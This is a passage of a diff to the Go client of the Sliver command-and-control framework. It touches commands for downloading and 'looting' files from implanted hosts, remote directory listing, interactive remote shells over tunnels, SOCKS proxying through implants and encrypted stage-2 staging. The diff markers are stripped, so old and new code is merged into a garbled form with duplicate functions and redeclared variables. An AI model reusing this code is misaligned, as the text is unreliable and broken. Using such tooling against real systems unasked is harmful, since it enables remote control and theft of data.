con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, ctx, con)
}
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
lootDownload bool = true
err error
)
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
userLootType := ctx.Flags.String("type")
userLootFileType := ctx.Flags.String("file-type")
var lootDownload bool = true
download, err := PerformDownload(filePath, filepath.Base(filePath), "console", ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
}
}
if saveLoot {
lootType, err := loot.ValidateLootType(userLootType)
if err != nil {
@@ -75,14 +114,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf("\n")
}
}
PrintCat(download, ctx, con)
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if ctx.Flags.Bool("colorize-output") {
if err = colorize(download); err != nil {
con.Println(string(download.Data))
+124 -95
View File
@@ -24,167 +24,196 @@ import (
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
func PerformDownload(remotePath string, fileName string, destination string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
recurse := ctx.Flags.Bool("recurse")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, destination), ctrl)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
Recurse: recurse,
})
ctrl <- true
<-ctrl
if err != nil {
return nil, err
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleDownloadResponse(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
HandleDownloadResponse(download, ctx, con)
}
}
func prettifyDownloadName(path string) string {
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
if err != nil {
// Well, we tried.
return path
}
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
// Collapse multiple underscores into one
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
if err != nil {
return filteredString
}
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
// If there is an underscore at the front of the filename, strip that off
if strings.HasPrefix(filteredString, "_") {
filteredString = filteredString[1:]
}
return filteredString
}
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
return download, fmt.Errorf("%s\n", download.Response.Err)
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, fmt.Errorf("Decoding failed %s", err)
con.PrintErrorf("Decoding failed %s", err)
}
}
return download, nil
}
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
saveLoot := ctx.Flags.Bool("loot")
src := remotePath
fileName := filepath.Base(src)
var dst string
var err error
var lootType clientpb.LootType
var fileType clientpb.FileType
var lootName string = ""
if download.ReadFiles == 0 {
// No files downloaded successfully.
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
return
}
if ctx.Flags.Bool("loot") {
// The destination is the loot store.
dst = "loot"
lootName = ctx.Flags.String("name")
lootType, err = loot.ValidateLootType(ctx.Flags.String("type"))
if saveLoot {
lootName := ctx.Flags.String("name")
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Determine file type after the download is complete
// Hand off to the loot package to take care of looting
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
} else {
// If this download is not being looted, make sure the local path exists
dst, err = filepath.Abs(localPath)
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
if download.IsDir {
// Come up with a good file name - filters might make the filename ugly
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(con.GetActiveSessionConfig().Name), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
}
if runtime.GOOS == "windows" {
// Windows has a file path length of 260 characters
// +1 for the path separator before the file name
if len(dst)+len(fileName)+1 > 260 {
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = path.Join(dst, fileName)
}
}
download, err := PerformDownload(src, fileName, dst, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if dst == "loot" {
// Hand off to the loot package to take care of looting
fileType = loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
} else {
PrintDownload(download, ctx, con)
}
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
var readFilesText string
var unreadFilesText string
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
if download.ReadFiles == 1 {
readFilesText = "file"
} else {
readFilesText = "files"
}
if download.UnreadableFiles == 1 {
unreadFilesText = "file"
} else {
unreadFilesText = "files"
}
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
n,
download.ReadFiles,
readFilesText,
download.UnreadableFiles,
unreadFilesText,
dstFile.Name())
}
}
}
+22 -66
View File
@@ -22,7 +22,6 @@ import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
@@ -45,49 +44,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence+1]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
} else {
if !strings.HasSuffix(remotePath, "/") {
remotePath = remotePath + "/"
}
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
@@ -104,23 +60,38 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, filter, con)
PrintLs(ls, ctx.Flags, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, ctx.Flags, filter, con)
PrintLs(ls, ctx.Flags, con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
// Generate metadata to print with the path
numberOfFiles := len(ls.Files)
var totalSize int64 = 0
var pathInfo string
for _, fileInfo := range ls.Files {
totalSize += fileInfo.Size
}
if numberOfFiles == 1 {
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
} else {
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
}
con.Printf("%s\n", pathInfo)
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
@@ -174,29 +145,14 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else if fileInfo.Link != "" {
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
+11 -1
View File
@@ -38,7 +38,17 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
/*
If seconds has not been specified but any of the other time units have, then do not add
the default 60 seconds to the interval.
If seconds have been specified, then add them regardless.
*/
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
}
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
+5 -8
View File
@@ -29,7 +29,6 @@ import (
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
@@ -39,6 +38,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -164,15 +164,12 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
var name string
if ctx.Flags["name"] != nil {
if ctx.Flags.String("name") != "" {
name = strings.ToLower(ctx.Flags.String("name"))
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
return nil
}
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
}
+20 -1
View File
@@ -279,7 +279,26 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit downloads to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
download /etc/*.conf will download all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Downloads can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
+1 -1
View File
@@ -89,7 +89,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if aesEncrypt {
stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
+3
View File
@@ -57,10 +57,13 @@ func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleC
if session == nil {
return
}
var options []bool
options = append(options, ctx.Flags.Bool("allow-all"))
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
Type: sliverpb.PivotType_NamedPipe,
BindAddress: ctx.Flags.String("bind"),
Request: con.ActiveTarget.Request(ctx),
Options: options,
})
if err != nil {
con.PrintErrorf("%s\n", err)
+4 -8
View File
@@ -20,10 +20,9 @@ package reconfig
import (
"context"
"regexp"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -36,12 +35,9 @@ func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Option to change the agent name
name := ctx.Flags.String("name")
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Name must be in alphanumeric only\n")
return
}
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return
}
var beaconID string
+1
View File
@@ -47,6 +47,7 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
tw.AppendRow(table.Row{"Vim mode", con.Settings.VimMode, "Navigation mode, vim style"})
con.Printf("%s\n", tw.Render())
}
+18 -2
View File
@@ -68,9 +68,12 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
}
// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
SessionID: session.ID,
})
defer cancelTunnel()
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -78,7 +81,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
@@ -90,6 +93,19 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
con.PrintErrorf("%s\n", err)
return
}
//
if shell.Response != nil && shell.Response.Err != "" {
con.PrintErrorf("Error: %s\n", shell.Response.Err)
_, err = con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
TunnelID: tunnel.ID,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("RPC Error: %s\n", err)
}
return
}
defer tunnel.Close()
log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
+1 -1
View File
@@ -29,7 +29,7 @@ import (
// SocksStopCmd - Remove an existing tunneled port forward
func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socksID := ctx.Flags.Int("id")
socksID := ctx.Flags.Uint64("id")
if socksID < 1 {
con.PrintErrorf("Must specify a valid socks5 id\n")
return
+1 -1
View File
@@ -358,7 +358,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
"modified": &grumble.FlagMapItem{Value: false},
"size": &grumble.FlagMapItem{Value: false},
}
filesystem.PrintLs(ls, flags, "", con)
filesystem.PrintLs(ls, flags, con)
case sliverpb.MsgMvReq:
mv := &sliverpb.Mv{}
+3 -2
View File
@@ -26,7 +26,6 @@ import (
"io/ioutil"
"log"
insecureRand "math/rand"
"path"
"path/filepath"
"strconv"
"strings"
@@ -109,11 +108,12 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
App: grumble.New(&grumble.Config{
Name: "Sliver",
Description: "Sliver Client",
HistoryFile: path.Join(assets.GetRootAppDir(), "history"),
HistoryFile: filepath.Join(assets.GetRootAppDir(), "history"),
PromptColor: color.New(),
HelpHeadlineColor: color.New(),
HelpHeadlineUnderline: true,
HelpSubCommands: true,
VimMode: settings.VimMode,
}),
Rpc: rpc,
ActiveTarget: &ActiveTarget{
@@ -215,6 +215,7 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
+35 -7
View File
@@ -1,7 +1,26 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"io"
"log"
"net"
@@ -116,7 +135,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
}
tunnel, err := p.dialImplant(ctx)
if cancel != nil {
cancel()
defer cancel()
}
if err != nil {
return
@@ -124,8 +143,8 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
// Cleanup
defer func() {
go conn.Close()
Tunnels.Close(tunnel.ID)
conn.Close()
GetTunnels().Close(tunnel.ID)
}()
errs := make(chan error, 1)
@@ -172,7 +191,7 @@ func (p *ChannelProxy) Host() string {
return host
}
func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
log.Printf("[tcpproxy] Dialing implant to create tunnel ...")
@@ -184,8 +203,9 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
log.Printf("[tcpproxy] Failed to dial implant %s", err)
return nil, err
}
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
portfwdResp, err := p.Rpc.Portfwd(ctx, &sliverpb.PortfwdReq{
@@ -200,6 +220,14 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
if err != nil {
return nil, err
}
// Close tunnel in case of error on the implant side
if portfwdResp.Response != nil && portfwdResp.Response.Err != "" {
p.Rpc.CloseTunnel(ctx, &sliverpb.Tunnel{
TunnelID: tunnel.ID,
SessionID: p.Session.ID,
})
return nil, errors.New(portfwdResp.Response.Err)
}
log.Printf("Portfwd response: %v", portfwdResp)
return tunnel, nil
@@ -219,7 +247,7 @@ func (p *ChannelProxy) dialTimeout() time.Duration {
return 30 * time.Second
}
func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
if wc, ok := conn.(*tcpproxy.Conn); ok && len(wc.Peeked) > 0 {
if _, err := tunnel.Write(wc.Peeked); err != nil {
errs <- err
@@ -232,7 +260,7 @@ func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
errs <- err
}
func fromImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
func fromImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
n, err := io.Copy(conn, tunnel)
log.Printf("[tcpproxy] Closing from-implant after %d byte(s)", n)
errs <- err
+70 -34
View File
@@ -20,11 +20,10 @@ package core
import (
"context"
"fmt"
"io"
"log"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -37,16 +36,16 @@ import (
var (
// SocksProxies - Struct instance that holds all the portfwds
SocksProxies = socksProxy{
tcpProxies: map[int]*SocksProxy{},
tcpProxies: map[uint64]*SocksProxy{},
mutex: &sync.RWMutex{},
}
SocksConnPool = sync.Map{}
SocksProxyID = 0
SocksProxyID = (uint64)(0)
)
// PortfwdMeta - Metadata about a portfwd listener
type SocksProxyMeta struct {
ID int
ID uint64
SessionID string
BindAddr string
Username string
@@ -60,14 +59,28 @@ type TcpProxy struct {
Password string
BindAddr string
Listener net.Listener
stopChan bool
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
func (tcp *TcpProxy) Stop() error {
err := tcp.Listener.Close()
// Closing all connections in pool
SocksConnPool.Range(func(key, value interface{}) bool {
con := value.(net.Conn)
con.Close()
return err == nil
})
return err
}
// SocksProxy - Tracks portfwd<->tcpproxy
type SocksProxy struct {
ID int
ID uint64
ChannelProxy *TcpProxy
}
@@ -83,7 +96,7 @@ func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
}
type socksProxy struct {
tcpProxies map[int]*SocksProxy
tcpProxies map[uint64]*SocksProxy
mutex *sync.RWMutex
}
@@ -91,6 +104,7 @@ type socksProxy struct {
func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
f.mutex.Lock()
defer f.mutex.Unlock()
Sockser := &SocksProxy{
ID: nextSocksProxyID(),
ChannelProxy: tcpProxy,
@@ -101,49 +115,56 @@ func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
}
func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
ctx, cancel := context.WithCancel(context.Background())
proxy, err := tcpProxy.Rpc.SocksProxy(ctx)
defer cancel()
if err != nil {
return err
}
go func() {
for !tcpProxy.stopChan {
for {
FromImplantSequence := 0
p, err := proxy.Recv()
socksData, err := proxy.Recv()
if err != nil {
log.Printf("Failed to Recv from proxy, %s\n", err)
return
}
if v, ok := SocksConnPool.Load(p.TunnelID); ok {
n := v.(net.Conn)
if p.CloseConn {
n.Close()
SocksConnPool.Delete(p.TunnelID)
if v, ok := SocksConnPool.Load(socksData.TunnelID); ok {
conn := v.(net.Conn)
if socksData.CloseConn {
conn.Close()
SocksConnPool.Delete(socksData.TunnelID)
continue
}
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data))
//fmt.Printf("recv data len %d \n", len(p.Data))
_, err := n.Write(p.Data)
_, err := conn.Write(socksData.Data)
if err != nil {
log.Printf("Failed to write data to proxy connection, %s\n", err)
continue
}
FromImplantSequence++
}
}
}()
for !tcpProxy.stopChan {
l, err := tcpProxy.Listener.Accept()
for {
connection, err := tcpProxy.Listener.Accept()
if err != nil {
return err
log.Printf("Failed to accept new listener, probably already closed: %s\n", err)
break
}
rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
SessionID: tcpProxy.Session.ID,
})
if err != nil {
fmt.Println(err)
return err
log.Printf("Failed rcp call to create socks %s\n", err)
break
}
go connect(l, proxy, &sliverpb.SocksData{
go connect(connection, proxy, &sliverpb.SocksData{
Username: tcpProxy.Username,
Password: tcpProxy.Password,
TunnelID: rpcSocks.TunnelID,
@@ -151,17 +172,18 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
})
}
log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
tcpProxy.Listener.Close()
tcpProxy.Stop() // well, at this moment we already in stop state, but anyway
proxy.CloseSend()
return nil
}
// Remove - Remove a TCP proxy instance
func (f *socksProxy) Remove(socksId int) bool {
func (f *socksProxy) Remove(socksId uint64) bool {
f.mutex.Lock()
defer f.mutex.Unlock()
if _, ok := f.tcpProxies[socksId]; ok {
f.tcpProxies[socksId].ChannelProxy.stopChan = true
f.tcpProxies[socksId].ChannelProxy.Stop()
delete(f.tcpProxies, socksId)
return true
}
@@ -179,9 +201,8 @@ func (f *socksProxy) List() []*SocksProxyMeta {
return socksProxy
}
func nextSocksProxyID() int {
SocksProxyID++
return SocksProxyID
func nextSocksProxyID() uint64 {
return atomic.AddUint64(&SocksProxyID, 1)
}
const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
@@ -192,6 +213,19 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
SocksConnPool.Store(frame.TunnelID, conn)
defer func() {
// It's neccessary to close and remove connection once we done with it
c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID)
if !ok {
return
}
conn := c.(net.Conn)
conn.Close()
log.Printf("[socks] connection closed")
}()
log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
buff := leakyBuf.Get()
